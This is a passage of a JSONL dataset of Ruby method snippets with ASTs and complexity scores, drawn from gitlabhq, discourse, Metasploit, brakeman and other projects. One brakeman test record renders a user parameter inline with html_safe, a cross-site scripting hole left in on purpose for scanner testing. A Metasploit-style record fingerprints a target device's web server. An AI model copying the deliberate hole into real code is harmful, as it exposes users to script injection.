device\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fingerprint_hits\"]},\"<<\",{\"type\":\"str\",\"children\":[\"favicon\"]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"server_header\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"headers\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Server\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server_header\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"lighttpd/1.4.32\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTP server version matched: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"server_header\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fingerprint_hits\"]},\"<<\",{\"type\":\"str\",\"children\":[\"httpd\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"index.html\"]},{\"type\":\"str\",\"children\":[\"home.html\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res_html\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"lvar\",\"children\":[\"page\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_html\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_html\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"langen.js\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res_html\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"dw(TT_SetWifiExt)\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"HTML fingerprint matched in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]}]},{\"type\":\"str\",\"children\":[\" – UI strings detected\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"str\",\"children\":[\"HTML language markers confirmed\"]}]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fingerprint_hits\"]},\"any?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Partial match: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fingerprint_hits\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"No identifiable fingerprint found\"]}]}]}]}","id":"cf9b4574-7416-4fda-b0a5-4db47846992f"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/environment_printer.rb","start_line":89,"raw_source":"def self.gems_to_check\n      if Helper.contained_fastlane?\n        Gem::Specification\n      else\n        Gem.loaded_specs.values\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"gems_to_check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Helper\"]},\"contained_fastlane?\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"Specification\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gem\"]},\"loaded_specs\"]},\"values\"]}]}]}","id":"b9530273-a3de-4814-bc03-c5f8ab715b89"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/async_constraints/migration_helpers.rb","start_line":93,"raw_source":"def prepare_partitioned_async_check_constraint_validation(table_name, name: nil)\n          ensure_async_constraint_validation_is_enabled do\n            Gitlab::Database::PostgresPartitionedTable.each_partition(table_name) do |partition|\n              prepare_async_check_constraint_validation(partition.identifier, name: name)\n            end\n          end\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"prepare_partitioned_async_check_constraint_validation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"kwoptarg\",\"children\":[\"name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ensure_async_constraint_validation_is_enabled\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"PostgresPartitionedTable\"]},\"each_partition\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"partition\"]}]},{\"type\":\"send\",\"children\":[null,\"prepare_async_check_constraint_validation\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"partition\"]},\"identifier\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]}]}","id":"2a75cf9b-42b3-4ac7-8e13-5a2b6a8376e5"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/search_post_serializer.rb","start_line":26,"raw_source":"def include_blurb?\n    options[:result].present?\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"include_blurb?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"result\"]}]},\"present?\"]}]}","id":"3499f445-c391-49c6-ad2e-35b9d989468c"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/statistics.rb","start_line":42,"raw_source":"def self.likes\n    likes = UserAction.where(action_type: UserAction::LIKE)\n\n    {\n      last_day: likes.where(\"created_at > ?\", 1.day.ago).count,\n      \"7_days\": likes.where(\"created_at > ?\", 7.days.ago).count,\n      \"30_days\": likes.where(\"created_at > ?\", 30.days.ago).count,\n      count: likes.count,\n    }\n  end","complexity_score":19.95,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"likes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"likes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserAction\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action_type\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserAction\"]},\"LIKE\"]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_day\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"likes\"]},\"where\",{\"type\":\"str\",\"children\":[\"created_at > ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]},\"ago\"]}]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"7_days\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"likes\"]},\"where\",{\"type\":\"str\",\"children\":[\"created_at > ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[7]},\"days\"]},\"ago\"]}]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"30_days\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"likes\"]},\"where\",{\"type\":\"str\",\"children\":[\"created_at > ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[30]},\"days\"]},\"ago\"]}]},\"count\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"likes\"]},\"count\"]}]}]}]}]}","id":"acb9e7da-d61c-4010-b813-3e13e2b04355"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/system_note_service.rb","start_line":371,"raw_source":"def requested_changes(noteable, user)\n    merge_requests_service(noteable, noteable.project, user).requested_changes\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"requested_changes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"noteable\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_requests_service\",{\"type\":\"lvar\",\"children\":[\"noteable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"noteable\"]},\"project\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"requested_changes\"]}]}","id":"cdd97f7e-5d1c-4da5-9c77-b5ee0f62d5db"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/users_controller.rb","start_line":1726,"raw_source":"def update_security_key\n    user_security_key = current_user.security_keys.find_by(id: params[:id].to_i)\n    raise Discourse::InvalidParameters unless user_security_key\n\n    user_security_key.update!(name: params[:name]) if params[:name] && params[:name].present?\n    user_security_key.update!(enabled: false) if params[:disable] == \"true\"\n\n    render json: success_json\n  end","complexity_score":31.0,"ast_json":"{\"type\":\"def\",\"children\":[\"update_security_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_security_key\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"security_keys\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"to_i\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_security_key\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_security_key\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"disable\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"true\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_security_key\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"false\",\"children\":[]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]}]}]}","id":"33ca4fbc-c191-4e04-af1d-da140c405a50"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails5/app/controllers/widget_controller.rb","start_line":14,"raw_source":"def render_inline\n    render :inline => \"<%= xss.html_safe %>\", :content_type => \"text/html\", :locals => { :xss => params[:xss] }\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"render_inline\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inline\"]},{\"type\":\"str\",\"children\":[\"<%= xss.html_safe %>\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_type\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"xss\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"xss\"]}]}]}]}]}]}]}]}","id":"af15958c-059f-40d9-97e0-863857da607c"}
{"repo_name":"ahoy","file_path":"./repos/ahoy/test/api_test.rb","start_line":62,"raw_source":"def test_event_params\n    visit = random_visit\n\n    name = \"Test\"\n    event_params = {\n      visit_token: visit.visit_token,\n      visitor_token: visit.visitor_token,\n      name: name,\n      properties: {}\n    }\n    post ahoy_engine.events_url, params: event_params\n    assert_response :success\n\n    assert_equal 1, Ahoy::Event.count\n\n    event = Ahoy::Event.last\n    assert_equal visit, event.visit\n    assert_equal name, event.name\n  end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_event_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"visit\",{\"type\":\"send\",\"children\":[null,\"random_visit\"]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"str\",\"children\":[\"Test\"]}]},{\"type\":\"lvasgn\",\"children\":[\"event_params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visit_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visit\"]},\"visit_token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visitor_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"visit\"]},\"visitor_token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"properties\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ahoy_engine\"]},\"events_url\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"event_params\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_response\",{\"type\":\"sym\",\"children\":[\"success\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ahoy\"]},\"Event\"]},\"count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"event\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ahoy\"]},\"Event\"]},\"last\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"visit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"visit\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"name\"]}]}]}]}","id":"c317f29c-f24c-4edc-a6c9-82385559450f"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/models/query/results_sums_integration_spec.rb","start_line":153,"raw_source":"def stringify_column_keys(sums_hash)\n    sums_hash.transform_keys { |column| column.name.to_s }\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"stringify_column_keys\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sums_hash\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sums_hash\"]},\"transform_keys\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"name\"]},\"to_s\"]}]}]}","id":"26f1cf76-1ef3-4db7-ab93-8924df738ab2"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/admin_about_config_area_group_listing_card.rb","start_line":18,"raw_source":"def show_description_input\n        form.field(\"aboutPageExtraGroupsShowDescription\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"show_description_input\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form\"]},\"field\",{\"type\":\"str\",\"children\":[\"aboutPageExtraGroupsShowDescription\"]}]}]}","id":"34260169-3fdb-4d8d-a760-d354204ecac7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/diff_viewer/base.rb","start_line":28,"raw_source":"def self.rich?\n      type == :rich\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"rich?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]},\"==\",{\"type\":\"sym\",\"children\":[\"rich\"]}]}]}","id":"f400e6df-5a4d-4fc4-a1ce-570ec996f9af"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/commit_status_presenter.rb","start_line":65,"raw_source":"def troubleshooting_doc\n    {\n      environment_creation_failure: help_page_path('ci/environments/_index.md', anchor: 'error-job-would-create-an-environment-with-an-invalid-parameter'),\n      failed_outdated_deployment_job: help_page_path('ci/environments/deployment_safety.md', anchor: 'prevent-outdated-deployment-jobs')\n    }.freeze\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"troubleshooting_doc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"environment_creation_failure\"]},{\"type\":\"send\",\"children\":[null,\"help_page_path\",{\"type\":\"str\",\"children\":[\"ci/environments/_index.md\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"anchor\"]},{\"type\":\"str\",\"children\":[\"error-job-would-create-an-environment-with-an-invalid-parameter\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"failed_outdated_deployment_job\"]},{\"type\":\"send\",\"children\":[null,\"help_page_path\",{\"type\":\"str\",\"children\":[\"ci/environments/deployment_safety.md\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"anchor\"]},{\"type\":\"str\",\"children\":[\"prevent-outdated-deployment-jobs\"]}]}]}]}]}]},\"freeze\"]}]}","id":"401754dc-74c2-47dc-afc6-eecec4598dc9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/api_helpers.rb","start_line":22,"raw_source":"def api(path, user = nil, version: API::API.version, personal_access_token: nil, oauth_access_token: nil, job_token: nil, access_token: nil, admin_mode: false)\n    full_path = \"/api/#{version}#{path}\"\n\n    if oauth_access_token\n      query_string = \"access_token=#{oauth_access_token.plaintext_token}\"\n    elsif personal_access_token\n      query_string = \"private_token=#{personal_access_token.token}\"\n    elsif job_token\n      query_string = \"job_token=#{job_token}\"\n    elsif access_token\n      query_string = \"access_token=#{access_token.token}\"\n    elsif user\n      organization = user.organization || FactoryBot.build(:common_organization)\n\n      personal_access_token = if admin_mode && user.admin?\n                                create(:personal_access_token, :admin_mode, user: user, organization: organization)\n                              else\n                                create(:personal_access_token, user: user, organization: organization)\n                              end\n\n      query_string = \"private_token=#{personal_access_token.token}\"\n    end\n\n    if query_string\n      separator = path.index('?') ? '&' : '?'\n\n      full_path + separator + query_string\n    else\n      full_path\n    end\n  end","complexity_score":44.6,"ast_json":"{\"type\":\"def\",\"children\":[\"api\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"optarg\",\"children\":[\"user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"API\"]},\"API\"]},\"version\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"personal_access_token\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"oauth_access_token\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"job_token\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"access_token\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"admin_mode\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"full_path\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/api/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oauth_access_token\"]},{\"type\":\"lvasgn\",\"children\":[\"query_string\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"access_token=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"oauth_access_token\"]},\"plaintext_token\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"personal_access_token\"]},{\"type\":\"lvasgn\",\"children\":[\"query_string\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"private_token=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"personal_access_token\"]},\"token\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_token\"]},{\"type\":\"lvasgn\",\"children\":[\"query_string\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"job_token=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_token\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"access_token\"]},{\"type\":\"lvasgn\",\"children\":[\"query_string\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"access_token=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"access_token\"]},\"token\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"organization\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"organization\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"build\",{\"type\":\"sym\",\"children\":[\"common_organization\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"personal_access_token\",{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admin_mode\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"admin?\"]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"personal_access_token\"]},{\"type\":\"sym\",\"children\":[\"admin_mode\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization\"]},{\"type\":\"lvar\",\"children\":[\"organization\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"personal_access_token\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"organization\"]},{\"type\":\"lvar\",\"children\":[\"organization\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"query_string\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"private_token=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"personal_access_token\"]},\"token\"]}]}]}]}]},null]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_string\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"separator\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"index\",{\"type\":\"str\",\"children\":[\"?\"]}]},{\"type\":\"str\",\"children\":[\"&\"]},{\"type\":\"str\",\"children\":[\"?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"full_path\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"separator\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"query_string\"]}]}]},{\"type\":\"lvar\",\"children\":[\"full_path\"]}]}]}]}","id":"735b6390-c89f-4dda-870e-cafdb84eb6a9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/import/nessus/xml/v2.rb","start_line":103,"raw_source":"def handle_nessus_v2(wspace,hobj,port,proto,name,nasl,nasl_name,severity,description,cve,bid,xref,msf,task=nil)\n    addr = hobj.address\n\n    info = { :workspace => wspace, :host => hobj, :port => port, :proto => proto, :task => task }\n\n    unless name =~ /^unknown$|\\?$/\n      info[:name] = name\n    end\n\n    if port.to_i != 0\n      msf_import_service(info)\n    end\n\n    if nasl.nil? || nasl.empty? || nasl == 0 || nasl == \"0\"\n      return\n    end\n\n    refs = []\n\n    cve.each do |r|\n      r.to_s.gsub!(/C(VE|AN)\\-/, '')\n      refs.push('CVE-' + r.to_s)\n    end if cve\n\n    bid.each do |r|\n      refs.push('BID-' + r.to_s)\n    end if bid\n\n    xref.each do |r|\n      ref_id, ref_val = r.to_s.split(':')\n      ref_val ? refs.push(ref_id + '-' + ref_val) : refs.push(ref_id)\n    end if xref\n\n    msfref = \"MSF-\" << msf if msf\n    refs.push msfref if msfref\n\n    nss = 'NSS-' + nasl\n    if 